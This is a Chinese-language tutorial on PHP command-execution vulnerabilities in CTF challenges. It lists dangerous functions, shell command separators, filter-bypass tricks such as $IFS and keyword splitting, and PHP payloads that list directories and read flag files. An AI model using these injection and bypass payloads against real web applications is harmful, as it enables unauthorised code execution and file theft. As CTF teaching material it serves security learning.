原理:
命令执行是常见漏洞之一,web应用有时需要调用一些函数执行命令如system、exec、shell_exec、passthru、popen、proc_popen、`` ,可能会产生命令执行漏洞
最常见执行函数是exec,它会创建一个子进程去执行另外的程序;少见的执行运算符:`` ,它会将其包裹的内容作为shell命令执行,并将输出信息返回。
危害:
- 读写文件
- 提升权限
- 修改服务器设置
- 反弹shell
利用方法:
1. 命令拼接符
符号 | 作用 |
---|---|
& | 无论左边真假,右边都执行 |
&& | 左边为真时,右边执行 |
| | 通道符,无论左边真假,右边都执行 |
|| | 左边为假时,右边执行 |
; | 表示隔断,常用于单行语句区分代码块 |
%0a | 换行符,多行区分代码块 |
%0b | 同%0a |
2. 危险函数
-
php
- eval()
- assert()
- preg_replace
- call_user_func()
- call_user_func_array()
- create_function
- array_map()
-
系统命令
- system()
- passthru()
- exec()
- pcntl_exec()
- shell_exec()
- popen()
- proc_open()
- ``
- ob_start()
3. 常见绕过
空格绕过
$IFS
<
<>
{}包裹
%09
拼接绕过
$a=l
$b=s
$a$b //执行ls
关键字绕过
who\am\i
who"am"i
cat fla[ghd]
骚姿势绕过
tac //抓取后反向输出
ls -i //输出节点信息,通过inode抓取
od //二进制读取
sort //查看
4. 函数过滤
有时CTF中会过滤危险函数,如system等,这时需要一点点脑洞
首先,需要确定flag位置
//扫目录找flag位置
print_r(scandir('./'));
$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}
var_dump(scandir("/"));
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
然后,通过各种手段读取flag
-
包含文件
//文件包含读取 include('/flag.txt'); require('/flag.txt'); require_once('/flag.txt');
-
高亮显示
//通过高亮显示php文件 show_source("flag.php"); highlight_file("flag.php");
-
拷贝文件
//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt) copy() rename() //用法: copy("flag.php","flag.txt"); rename("flag.php","flag.txt");
-
fopen
//通过fopen去读取文件内容,这里介绍下函数 fread() fgets() fgetc() fgetss() fgetcsv() gpassthru() payload: $a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取 $a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取 $a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
-
少见函数读文件
//通过单一函数读取文件 c=echo file_get_contents("flag.php"); c=readfile("flag.php"); c=var_dump(file('flag.php')); c=print_r(file('flag.php'));
总结
读取文件说ctf常见的题目类型,主要是考察对执行命令和WAF拦截方式的熟悉程度,简单的命令已经有很多教程可以学习,绕过则需要了解过滤方式和一些不常见函数。
Comments | NOTHING